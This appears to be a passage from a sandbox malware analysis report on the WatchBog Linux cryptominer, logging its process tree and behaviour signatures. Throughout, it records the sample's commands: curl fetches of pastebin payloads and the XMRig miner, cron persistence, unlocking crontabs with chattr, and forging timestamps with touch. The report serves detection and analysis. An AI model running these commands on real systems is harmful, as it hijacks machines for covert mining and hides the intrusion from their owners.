Source: /bin/ps (PID: 19522)	File opened: /proc/1180/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/1180/status
Source: /bin/ps (PID: 19522)	File opened: /proc/1180/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/18018/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/18018/status
Source: /bin/ps (PID: 19522)	File opened: /proc/18018/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/2308/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/2308/status
Source: /bin/ps (PID: 19522)	File opened: /proc/2308/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/17965/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/17965/status
Source: /bin/ps (PID: 19522)	File opened: /proc/17965/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/10/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/10/status
Source: /bin/ps (PID: 19522)	File opened: /proc/10/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/11/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/11/status
Source: /bin/ps (PID: 19522)	File opened: /proc/11/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/12/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/12/status
Source: /bin/ps (PID: 19522)	File opened: /proc/12/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/13/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/13/status
Source: /bin/ps (PID: 19522)	File opened: /proc/13/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/14/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/14/status
Source: /bin/ps (PID: 19522)	File opened: /proc/14/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/9475/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/9475/status
Source: /bin/ps (PID: 19522)	File opened: /proc/9475/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/15/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/15/status
Source: /bin/ps (PID: 19522)	File opened: /proc/15/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/16/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/16/status
Source: /bin/ps (PID: 19522)	File opened: /proc/16/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/17/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/17/status
Source: /bin/ps (PID: 19522)	File opened: /proc/17/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/18023/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/18023/status
Source: /bin/ps (PID: 19522)	File opened: /proc/18023/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/18/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/18/status
Source: /bin/ps (PID: 19522)	File opened: /proc/18/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/19/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/19/status
Source: /bin/ps (PID: 19522)	File opened: /proc/19/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/1194/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/1194/status
Source: /bin/ps (PID: 19522)	File opened: /proc/1194/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/1/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/1/status
Source: /bin/ps (PID: 19522)	File opened: /proc/1/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/2/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/2/status
Source: /bin/ps (PID: 19522)	File opened: /proc/2/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/2315/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/2315/status
Source: /bin/ps (PID: 19522)	File opened: /proc/2315/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/3/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/3/status
Source: /bin/ps (PID: 19522)	File opened: /proc/3/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/401/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/401/status
Source: /bin/ps (PID: 19522)	File opened: /proc/401/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/247/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/247/status
Source: /bin/ps (PID: 19522)	File opened: /proc/247/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/5/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/5/status
Source: /bin/ps (PID: 19522)	File opened: /proc/5/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/7/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/7/status
Source: /bin/ps (PID: 19522)	File opened: /proc/7/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/8/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/8/status
Source: /bin/ps (PID: 19522)	File opened: /proc/8/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/17978/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/17978/status
Source: /bin/ps (PID: 19522)	File opened: /proc/17978/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/9/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/9/status
Source: /bin/ps (PID: 19522)	File opened: /proc/9/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/19518/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/19518/status
Source: /bin/ps (PID: 19522)	File opened: /proc/19518/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/17732/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/17732/status
Source: /bin/ps (PID: 19522)	File opened: /proc/17732/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/17853/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/17853/status
Source: /bin/ps (PID: 19522)	File opened: /proc/17853/cmdline

Executes the "chmod" command used to modify permissions

Show sources

Source: /bin/bash (PID: 19324)	Chmod executable: /bin/chmod -> chmod 755 /bin/httpntp
Source: /bin/bash (PID: 19362)	Chmod executable: /bin/chmod -> chmod 755 /bin/ftpsdns
Source: /bin/bash (PID: 19491)	Chmod executable: /bin/chmod -> chmod 755 /etc/cron.hourly/oanacroane
Source: /bin/bash (PID: 19492)	Chmod executable: /bin/chmod -> chmod 755 /etc/cron.daily/oanacroane
Source: /bin/bash (PID: 19493)	Chmod executable: /bin/chmod -> chmod 755 /etc/cron.monthly/oanacroane
Source: /bin/bash (PID: 19749)	Chmod executable: /bin/chmod -> chmod 777 /bin/watchbog

Executes the "curl" command used to transfer data via the network (typically using HTTP/S)

Show sources

Source: /bin/bash (PID: 19335)	Curl executable: /usr/bin/curl -> curl -fsSL https://pastebin.com/raw/4HvzGfGm
Source: /bin/bash (PID: 19462)	Curl executable: /usr/bin/curl -> curl -fsSL https://pastebin.com/raw/EzqVke6X
Source: /bin/bash (PID: 19642)	Curl executable: /usr/bin/curl -> curl -fsSL https://pastebin.com/raw/dXD2Bs0H
Source: /bin/bash (PID: 19691)	Curl executable: /usr/bin/curl -> curl -fsSL https://github.com/xmrig/xmrig/releases/download/v2.14.1/xmrig-2.14.1-xenial-x64.tar.gz -o /tmp/.tmpdropoff/rig.tar.gz
Source: /bin/bash (PID: 19839)	Curl executable: /usr/bin/curl -> curl -fsSL https://pastebin.com/raw/LUN80Hj8

Executes the "grep" command used to find patterns in files or piped streams

Show sources

Source: /bin/bash (PID: 19264)	Grep executable: /bin/grep -> grep watchbog
Source: /bin/bash (PID: 19265)	Grep executable: /bin/grep -> grep -v grep
Source: /bin/bash (PID: 19523)	Grep executable: /bin/grep -> grep watchbog
Source: /bin/bash (PID: 19524)	Grep executable: /bin/grep -> grep -v grep
Source: /bin/bash (PID: 19803)	Grep executable: /bin/grep -> grep watchbog
Source: /bin/bash (PID: 19804)	Grep executable: /bin/grep -> grep -v grep

Executes the "mkdir" command used to create folders

Show sources

Source: /bin/bash (PID: 19366)	Mkdir executable: /bin/mkdir -> mkdir -p /var/spool/cron/crontabs
Source: /bin/bash (PID: 19367)	Mkdir executable: /bin/mkdir -> mkdir -p /etc/cron.hourly
Source: /bin/bash (PID: 19368)	Mkdir executable: /bin/mkdir -> mkdir -p /etc/cron.daily
Source: /bin/bash (PID: 19370)	Mkdir executable: /bin/mkdir -> mkdir -p /etc/cron.monthly
Source: /bin/bash (PID: 19689)	Mkdir executable: /bin/mkdir -> mkdir -p /tmp/.tmpdropoff//dataoutput/

Executes the "nohup" (no hangup) command used to avoid background terminal process from being killed

Show sources

Source: /bin/bash (PID: 19753)

Nohup executable: /usr/bin/nohup -> nohup ./watchbog

Executes the "ps" command used to list the status of processes

Show sources

Source: /bin/bash (PID: 19263)	Ps executable: /bin/ps -> ps -fe
Source: /bin/bash (PID: 19522)	Ps executable: /bin/ps -> ps -fe
Source: /bin/bash (PID: 19802)	Ps executable: /bin/ps -> ps -fe

Executes the "rm" command used to delete files or directories

Show sources

Source: /bin/bash (PID: 19307)	Rm executable: /bin/rm -> rm -rf /bin/httpntp /bin/ftpsdns
Source: /bin/bash (PID: 19365)	Rm executable: /bin/rm -> rm -rf /etc/cron.hourly/oanacroane /etc/cron.daily/oanacroane /etc/cron.monthly/oanacroane
Source: /bin/bash (PID: 19636)	Rm executable: /bin/rm -> rm -rf /bin/config.json /bin/watchbog
Source: /bin/bash (PID: 19744)	Rm executable: /bin/rm -> rm -rf /tmp/.tmpdropoff/

Executes the "touch" command used to create files or modify time stamps

Show sources

Source: /bin/bash (PID: 19363)	Touch executable: /bin/touch -> touch -acmr /bin/sh /etc/crontab
Source: /bin/bash (PID: 19494)	Touch executable: /bin/touch -> touch -acmr /bin/sh /var/spool/cron/root
Source: /bin/bash (PID: 19495)	Touch executable: /bin/touch -> touch -acmr /bin/sh /var/spool/cron/crontabs/root
Source: /bin/bash (PID: 19496)	Touch executable: /bin/touch -> touch -acmr /bin/sh /etc/cron.d/system
Source: /bin/bash (PID: 19497)	Touch executable: /bin/touch -> touch -acmr /bin/sh /etc/cron.d/apache
Source: /bin/bash (PID: 19498)	Touch executable: /bin/touch -> touch -acmr /bin/sh /etc/cron.d/root
Source: /bin/bash (PID: 19500)	Touch executable: /bin/touch -> touch -acmr /bin/sh /etc/cron.hourly/oanacroane
Source: /bin/bash (PID: 19503)	Touch executable: /bin/touch -> touch -acmr /bin/sh /etc/cron.daily/oanacroane
Source: /bin/bash (PID: 19507)	Touch executable: /bin/touch -> touch -acmr /bin/sh /etc/cron.monthly/oanacroane
Source: /bin/bash (PID: 19849)	Touch executable: /bin/touch -> touch /tmp/.tmpc

Reads system information from the proc file system

Show sources

Source: /bin/ps (PID: 19263)	Reads from proc file: /proc/meminfo
Source: /bin/ps (PID: 19263)	Reads from proc file: /proc/stat
Source: /bin/ps (PID: 19522)	Reads from proc file: /proc/meminfo
Source: /bin/ps (PID: 19522)	Reads from proc file: /proc/stat
Source: /bin/ps (PID: 19802)	Reads from proc file: /proc/meminfo
Source: /bin/ps (PID: 19802)	Reads from proc file: /proc/stat

Sample tries to set the executable flag

Show sources

Source: /bin/chmod (PID: 19324)	File: /bin/httpntp (bits: - usr: rx grp: rx all: rwx)
Source: /bin/chmod (PID: 19362)	File: /bin/ftpsdns (bits: - usr: rx grp: rx all: rwx)
Source: /bin/chmod (PID: 19491)	File: /etc/cron.hourly/oanacroane (bits: - usr: rx grp: rx all: rwx)
Source: /bin/chmod (PID: 19492)	File: /etc/cron.daily/oanacroane (bits: - usr: rx grp: rx all: rwx)
Source: /bin/chmod (PID: 19493)	File: /etc/cron.monthly/oanacroane (bits: - usr: rx grp: rx all: rwx)
Source: /bin/tar (PID: 19712)	File: /tmp/.tmpdropoff/dataoutput/xmrig-2.14.1/xmrig-notls (bits: - usr: rx grp: rx all: rwx)
Source: /bin/tar (PID: 19712)	File: /tmp/.tmpdropoff/dataoutput/xmrig-2.14.1/xmrig (bits: - usr: rx grp: rx all: rwx)
Source: /bin/tar (PID: 19712)	File: /tmp/.tmpdropoff/dataoutput/xmrig-2.14.1 (bits: - usr: rx grp: rx all: rwx)
Source: /bin/chmod (PID: 19749)	File: /bin/watchbog (bits: - usr: rwx grp: rwx all: rwx)

Writes ELF files to disk

Show sources

Source: /bin/tar (PID: 19712)	File written: /tmp/.tmpdropoff/dataoutput/xmrig-2.14.1/xmrig-notls			Jump to dropped file
Source: /bin/tar (PID: 19712)	File written: /tmp/.tmpdropoff/dataoutput/xmrig-2.14.1/xmrig			Jump to dropped file

Writes crontab like entries to files to /var or /etc typically for achieving persistence

Show sources

Source: /bin/bash (PID: 19147)	Crontab like entry written: /etc/crontab	Jump to dropped file
Source: /bin/sed (PID: 19308)	Crontab like entry written: /etc/seddlpHGC	Jump to dropped file
Source: /bin/sed (PID: 19310)	Crontab like entry written: /etc/sedTLJ6tF	Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Drops files in suspicious directories

Show sources

Source: /bin/bash (PID: 19147)	File: /bin/httpntp	Jump to dropped file
Source: /usr/bin/curl (PID: 19335)	File: /bin/ftpsdns	Jump to dropped file
Source: /usr/bin/base64 (PID: 19638)	File: /bin/config.json
Source: ./watchbog (PID: 19753)	File: /bin/config.json	Jump to dropped file

Drops files with innocent-looking names

Show sources

Source: /bin/bash (PID: 19147)

Path: /etc/cron.d/apache

Jump to dropped file

Executes the "base64" command used to encode or decode data (e.g. files, payloads)

Show sources

Source: /bin/bash (PID: 19158)	Base64 executable: /usr/bin/base64 -> base64 -d
Source: /bin/bash (PID: 19166)	Base64 executable: /usr/bin/base64 -> base64 -d
Source: /bin/bash (PID: 19174)	Base64 executable: /usr/bin/base64 -> base64 -d
Source: /bin/bash (PID: 19189)	Base64 executable: /usr/bin/base64 -> base64 -d
Source: /bin/bash (PID: 19200)	Base64 executable: /usr/bin/base64 -> base64 -d
Source: /bin/bash (PID: 19211)	Base64 executable: /usr/bin/base64 -> base64 -d
Source: /bin/bash (PID: 19629)	Base64 executable: /usr/bin/base64 -> base64 -d
Source: /bin/bash (PID: 19632)	Base64 executable: /usr/bin/base64 -> base64 -d
Source: /bin/bash (PID: 19635)	Base64 executable: /usr/bin/base64 -> base64 -d
Source: /bin/bash (PID: 19638)	Base64 executable: /usr/bin/base64 -> base64 -d

Malware Analysis System Evasion:

Executes the "sleep" command used to delay execution and potentially evade sandboxes

Show sources

Source: /bin/bash (PID: 19754)	Sleep executable: /bin/sleep -> sleep 15
Source: /bin/bash (PID: 19850)	Sleep executable: /bin/sleep -> sleep 30

Reads CPU information from /sys indicative of miner or evasive malware

Show sources

Source: ./watchbog (PID: 19753)

Reads CPU info from /sys: /sys/devices/system/cpu/online

Uses the "uname" system call to query kernel version information (possible evasion)

Show sources

Source: /bin/bash (PID: 19147)	Queries kernel information via 'uname':
Source: /bin/uname (PID: 19235)	Queries kernel information via 'uname':
Source: /bin/uname (PID: 19245)	Queries kernel information via 'uname':
Source: /bin/ps (PID: 19263)	Queries kernel information via 'uname':
Source: /usr/bin/curl (PID: 19335)	Queries kernel information via 'uname':
Source: /usr/bin/curl (PID: 19462)	Queries kernel information via 'uname':
Source: /bin/ps (PID: 19522)	Queries kernel information via 'uname':
Source: /usr/bin/curl (PID: 19642)	Queries kernel information via 'uname':
Source: /usr/bin/curl (PID: 19691)	Queries kernel information via 'uname':
Source: ./watchbog (PID: 19753)	Queries kernel information via 'uname':
Source: /bin/ps (PID: 19802)	Queries kernel information via 'uname':
Source: /usr/bin/curl (PID: 19839)	Queries kernel information via 'uname':

Lowering of HIPS / PFW / Operating System Security Settings:

Removes protection from files

Show sources

Source: /bin/bash (PID: 19306)	Args: chattr -i /etc/crontab
Source: /bin/bash (PID: 19364)	Args: chattr -i /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root

Runtime Messages

Command:	bash "/tmp/AEjyioBcTB"
Exit Code:
Exit Code Info:
Killed:	True
Standard Output:	I am root Setting Up Sys Cron xmrig-2.14.1/ xmrig-2.14.1/config.json xmrig-2.14.1/xmrig-notls xmrig-2.14.1/xmrig
Standard Error:	chattr: No such file or directory while trying to stat /etc/cron.d/root chattr: No such file or directory while trying to stat /etc/cron.d/apache chattr: No such file or directory while trying to stat /var/spool/cron/root chattr: No such file or directory while trying to stat /var/spool/cron/crontabs/root sed: can't read /etc/cron.d/root: No such file or directory sed: can't read /etc/cron.d/apache: No such file or directory sed: can't read /etc/cron.d/system: No such file or directory sed: can't read /var/spool/cron/crontabs/root: No such file or directory sed: can't read /var/spool/cron/root: No such file or directory

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
AEjyioBcTB	JoeSecurity_WatchBog_Cython	Yara detected Linux WatchBog	unknown	0x3bce:$c0: /tmp/.tmplassstgggzzzqpppppp12233333 0x3c03:$c0: /tmp/.tmplassstgggzzzqpppppp12233333 0x25fa:$c1: watchbog 0x2866:$c1: watchbog 0x2913:$c1: watchbog 0x2954:$c1: watchbog 0x2972:$c1: watchbog 0x2987:$c1: watchbog 0x29b6:$c1: watchbog 0x2a0e:$c1: watchbog 0x2a43:$c1: watchbog 0x2a61:$c1: watchbog 0x2a76:$c1: watchbog 0x2aa5:$c1: watchbog 0x2ae1:$c1: watchbog 0x2b22:$c1: watchbog 0x2b40:$c1: watchbog 0x2b55:$c1: watchbog 0x2b84:$c1: watchbog 0x2be0:$c1: watchbog 0x2e8b:$c1: watchbog

PCAP (Network Traffic)

No yara matches

Dropped Files

Source	Rule	Description	Author	Strings
/tmp/.tmpdropoff/dataoutput/xmrig-2.14.1/xmrig-notls	XMRIG_Monero_Miner	Detects Monero mining software	Florian Roth	0x22c8b2:$s2: --cpu-affinity set process affinity to CPU core(s), mask 0x3 for cores 0 and 1 0x22c5ca:$s3: -p, --pass=PASSWORD password for mining server

Antivirus and Machine Learning Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Startup

system is lnxubuntu1

bash (PID: 19147, Parent: 19098, MD5: 5e666695cf08d1638bb85684e30185ee) Arguments: /bin/bash /tmp/AEjyioBcTB

bash New Fork (PID: 19155, Parent: 19147)

bash New Fork (PID: 19157, Parent: 19155)

bash New Fork (PID: 19158, Parent: 19155)

base64 (PID: 19158, Parent: 19155, MD5: 855d7e0819b22d9cfca26f75fbcdf4ed) Arguments: base64 -d

bash New Fork (PID: 19163, Parent: 19147)

bash New Fork (PID: 19165, Parent: 19163)

bash New Fork (PID: 19166, Parent: 19163)

base64 (PID: 19166, Parent: 19163, MD5: 855d7e0819b22d9cfca26f75fbcdf4ed) Arguments: base64 -d

bash New Fork (PID: 19170, Parent: 19147)

bash New Fork (PID: 19173, Parent: 19170)

bash New Fork (PID: 19174, Parent: 19170)

base64 (PID: 19174, Parent: 19170, MD5: 855d7e0819b22d9cfca26f75fbcdf4ed) Arguments: base64 -d

bash New Fork (PID: 19183, Parent: 19147)

bash New Fork (PID: 19188, Parent: 19183)

bash New Fork (PID: 19189, Parent: 19183)

base64 (PID: 19189, Parent: 19183, MD5: 855d7e0819b22d9cfca26f75fbcdf4ed) Arguments: base64 -d

bash New Fork (PID: 19196, Parent: 19147)

bash New Fork (PID: 19199, Parent: 19196)

bash New Fork (PID: 19200, Parent: 19196)

base64 (PID: 19200, Parent: 19196, MD5: 855d7e0819b22d9cfca26f75fbcdf4ed) Arguments: base64 -d

bash New Fork (PID: 19208, Parent: 19147)

bash New Fork (PID: 19210, Parent: 19208)

bash New Fork (PID: 19211, Parent: 19208)

base64 (PID: 19211, Parent: 19208, MD5: 855d7e0819b22d9cfca26f75fbcdf4ed) Arguments: base64 -d

bash New Fork (PID: 19216, Parent: 19147)

whoami (PID: 19216, Parent: 19147, MD5: a88b7850f1cdbf532f14069816273b63) Arguments: whoami

bash New Fork (PID: 19226, Parent: 19147)

bash New Fork (PID: 19231, Parent: 19226)

bash New Fork (PID: 19235, Parent: 19231)

uname (PID: 19235, Parent: 19231, MD5: 1078d9dca4e90919f7b2433cae105008) Arguments: uname -m

bash New Fork (PID: 19241, Parent: 19226)

bash New Fork (PID: 19245, Parent: 19241)

uname (PID: 19245, Parent: 19241, MD5: 1078d9dca4e90919f7b2433cae105008) Arguments: uname -i

bash New Fork (PID: 19249, Parent: 19226)

bash New Fork (PID: 19251, Parent: 19249)

getconf (PID: 19251, Parent: 19249, MD5: fb82f5a117dcfb922b370bf3a50c5c0a) Arguments: getconf LONG_BIT

bash New Fork (PID: 19259, Parent: 19147)

bash New Fork (PID: 19263, Parent: 19259)

ps (PID: 19263, Parent: 19259, MD5: 37339e5441057d422e61e8a471505337) Arguments: ps -fe

bash New Fork (PID: 19264, Parent: 19259)

grep (PID: 19264, Parent: 19259, MD5: fc9b0a0ff848b35b3716768695bf2427) Arguments: grep watchbog

bash New Fork (PID: 19265, Parent: 19259)

grep (PID: 19265, Parent: 19259, MD5: fc9b0a0ff848b35b3716768695bf2427) Arguments: grep -v grep

bash New Fork (PID: 19266, Parent: 19259)

wc (PID: 19266, Parent: 19259, MD5: 0d6e0835ddbd0b179ae07b6317c676d4) Arguments: wc -l

bash New Fork (PID: 19306, Parent: 19147)

chattr (PID: 19306, Parent: 19147, MD5: 8aa970e89963faf71434e3a37222cc49) Arguments: chattr -i /etc/crontab

bash New Fork (PID: 19307, Parent: 19147)

rm (PID: 19307, Parent: 19147, MD5: b79876063d894c449856cca508ecca7f) Arguments: rm -rf /bin/httpntp /bin/ftpsdns

bash New Fork (PID: 19308, Parent: 19147)

sed (PID: 19308, Parent: 19147, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -i /httpntp/d /etc/crontab

bash New Fork (PID: 19310, Parent: 19147)

sed (PID: 19310, Parent: 19147, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -i /ftpsdns/d /etc/crontab

bash New Fork (PID: 19324, Parent: 19147)

chmod (PID: 19324, Parent: 19147, MD5: 32c8c7318223ebc5b934a78cfc153d6f) Arguments: chmod 755 /bin/httpntp

bash New Fork (PID: 19330, Parent: 19147)

bash New Fork (PID: 19335, Parent: 19330)

curl (PID: 19335, Parent: 19330, MD5: 53ea41160209f7801a5d5f07b546a9cd) Arguments: curl -fsSL https://pastebin.com/raw/4HvzGfGm

bash New Fork (PID: 19362, Parent: 19147)

chmod (PID: 19362, Parent: 19147, MD5: 32c8c7318223ebc5b934a78cfc153d6f) Arguments: chmod 755 /bin/ftpsdns

bash New Fork (PID: 19363, Parent: 19147)

touch (PID: 19363, Parent: 19147, MD5: 1f168f69957c0fffbdd62556ad215f3c) Arguments: touch -acmr /bin/sh /etc/crontab

bash New Fork (PID: 19364, Parent: 19147)

chattr (PID: 19364, Parent: 19147, MD5: 8aa970e89963faf71434e3a37222cc49) Arguments: chattr -i /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root

bash New Fork (PID: 19365, Parent: 19147)

rm (PID: 19365, Parent: 19147, MD5: b79876063d894c449856cca508ecca7f) Arguments: rm -rf /etc/cron.hourly/oanacroane /etc/cron.daily/oanacroane /etc/cron.monthly/oanacroane

bash New Fork (PID: 19366, Parent: 19147)

mkdir (PID: 19366, Parent: 19147, MD5: a97f666f21c85ec62ea47d022263ef41) Arguments: mkdir -p /var/spool/cron/crontabs

bash New Fork (PID: 19367, Parent: 19147)

mkdir (PID: 19367, Parent: 19147, MD5: a97f666f21c85ec62ea47d022263ef41) Arguments: mkdir -p /etc/cron.hourly

bash New Fork (PID: 19368, Parent: 19147)

mkdir (PID: 19368, Parent: 19147, MD5: a97f666f21c85ec62ea47d022263ef41) Arguments: mkdir -p /etc/cron.daily

bash New Fork (PID: 19370, Parent: 19147)

mkdir (PID: 19370, Parent: 19147, MD5: a97f666f21c85ec62ea47d022263ef41) Arguments: mkdir -p /etc/cron.monthly

bash New Fork (PID: 19373, Parent: 19147)

sed (PID: 19373, Parent: 19147, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -i /pastebin.com/d /etc/cron.d/root

bash New Fork (PID: 19387, Parent: 19147)

sed (PID: 19387, Parent: 19147, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -i /pastebin.com/d /etc/cron.d/apache

bash New Fork (PID: 19404, Parent: 19147)

sed (PID: 19404, Parent: 19147, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -i /pastebin.com/d /etc/cron.d/system

bash New Fork (PID: 19421, Parent: 19147)

sed (PID: 19421, Parent: 19147, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -i /pastebin.com/d /var/spool/cron/crontabs/root

bash New Fork (PID: 19438, Parent: 19147)

sed (PID: 19438, Parent: 19147, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -i /pastebin.com/d /var/spool/cron/root

bash New Fork (PID: 19452, Parent: 19147)

bash New Fork (PID: 19459, Parent: 19452)

bash New Fork (PID: 19462, Parent: 19459)

curl (PID: 19462, Parent: 19459, MD5: 53ea41160209f7801a5d5f07b546a9cd) Arguments: curl -fsSL https://pastebin.com/raw/EzqVke6X

bash New Fork (PID: 19491, Parent: 19147)

chmod (PID: 19491, Parent: 19147, MD5: 32c8c7318223ebc5b934a78cfc153d6f) Arguments: chmod 755 /etc/cron.hourly/oanacroane

bash New Fork (PID: 19492, Parent: 19147)

chmod (PID: 19492, Parent: 19147, MD5: 32c8c7318223ebc5b934a78cfc153d6f) Arguments: chmod 755 /etc/cron.daily/oanacroane

bash New Fork (PID: 19493, Parent: 19147)

chmod (PID: 19493, Parent: 19147, MD5: 32c8c7318223ebc5b934a78cfc153d6f) Arguments: chmod 755 /etc/cron.monthly/oanacroane

bash New Fork (PID: 19494, Parent: 19147)

touch (PID: 19494, Parent: 19147, MD5: 1f168f69957c0fffbdd62556ad215f3c) Arguments: touch -acmr /bin/sh /var/spool/cron/root

bash New Fork (PID: 19495, Parent: 19147)

touch (PID: 19495, Parent: 19147, MD5: 1f168f69957c0fffbdd62556ad215f3c) Arguments: touch -acmr /bin/sh /var/spool/cron/crontabs/root

bash New Fork (PID: 19496, Parent: 19147)

touch (PID: 19496, Parent: 19147, MD5: 1f168f69957c0fffbdd62556ad215f3c) Arguments: touch -acmr /bin/sh /etc/cron.d/system

bash New Fork (PID: 19497, Parent: 19147)

touch (PID: 19497, Parent: 19147, MD5: 1f168f69957c0fffbdd62556ad215f3c) Arguments: touch -acmr /bin/sh /etc/cron.d/apache

bash New Fork (PID: 19498, Parent: 19147)

touch (PID: 19498, Parent: 19147, MD5: 1f168f69957c0fffbdd62556ad215f3c) Arguments: touch -acmr /bin/sh /etc/cron.d/root

bash New Fork (PID: 19500, Parent: 19147)

touch (PID: 19500, Parent: 19147, MD5: 1f168f69957c0fffbdd62556ad215f3c) Arguments: touch -acmr /bin/sh /etc/cron.hourly/oanacroane

bash New Fork (PID: 19503, Parent: 19147)

touch (PID: 19503, Parent: 19147, MD5: 1f168f69957c0fffbdd62556ad215f3c) Arguments: touch -acmr /bin/sh /etc/cron.daily/oanacroane

bash New Fork (PID: 19507, Parent: 19147)

touch (PID: 19507, Parent: 19147, MD5: 1f168f69957c0fffbdd62556ad215f3c) Arguments: touch -acmr /bin/sh /etc/cron.monthly/oanacroane

bash New Fork (PID: 19518, Parent: 19147)

bash New Fork (PID: 19522, Parent: 19518)

ps (PID: 19522, Parent: 19518, MD5: 37339e5441057d422e61e8a471505337) Arguments: ps -fe

bash New Fork (PID: 19523, Parent: 19518)

grep (PID: 19523, Parent: 19518, MD5: fc9b0a0ff848b35b3716768695bf2427) Arguments: grep watchbog

bash New Fork (PID: 19524, Parent: 19518)

grep (PID: 19524, Parent: 19518, MD5: fc9b0a0ff848b35b3716768695bf2427) Arguments: grep -v grep

bash New Fork (PID: 19525, Parent: 19518)

wc (PID: 19525, Parent: 19518, MD5: 0d6e0835ddbd0b179ae07b6317c676d4) Arguments: wc -l

bash New Fork (PID: 19627, Parent: 19147)

bash New Fork (PID: 19628, Parent: 19627)

bash New Fork (PID: 19629, Parent: 19627)

base64 (PID: 19629, Parent: 19627, MD5: 855d7e0819b22d9cfca26f75fbcdf4ed) Arguments: base64 -d

bash New Fork (PID: 19630, Parent: 19147)

bash New Fork (PID: 19631, Parent: 19630)

bash New Fork (PID: 19632, Parent: 19630)

base64 (PID: 19632, Parent: 19630, MD5: 855d7e0819b22d9cfca26f75fbcdf4ed) Arguments: base64 -d

bash New Fork (PID: 19633, Parent: 19147)

bash New Fork (PID: 19634, Parent: 19633)

bash New Fork (PID: 19635, Parent: 19633)

base64 (PID: 19635, Parent: 19633, MD5: 855d7e0819b22d9cfca26f75fbcdf4ed) Arguments: base64 -d

bash New Fork (PID: 19636, Parent: 19147)

rm (PID: 19636, Parent: 19147, MD5: b79876063d894c449856cca508ecca7f) Arguments: rm -rf /bin/config.json /bin/watchbog

bash New Fork (PID: 19637, Parent: 19147)

bash New Fork (PID: 19642, Parent: 19637)

curl (PID: 19642, Parent: 19637, MD5: 53ea41160209f7801a5d5f07b546a9cd) Arguments: curl -fsSL https://pastebin.com/raw/dXD2Bs0H

bash New Fork (PID: 19638, Parent: 19147)

base64 (PID: 19638, Parent: 19147, MD5: 855d7e0819b22d9cfca26f75fbcdf4ed) Arguments: base64 -d

bash New Fork (PID: 19689, Parent: 19147)

mkdir (PID: 19689, Parent: 19147, MD5: a97f666f21c85ec62ea47d022263ef41) Arguments: mkdir -p /tmp/.tmpdropoff//dataoutput/

bash New Fork (PID: 19690, Parent: 19147)

bash New Fork (PID: 19691, Parent: 19690)

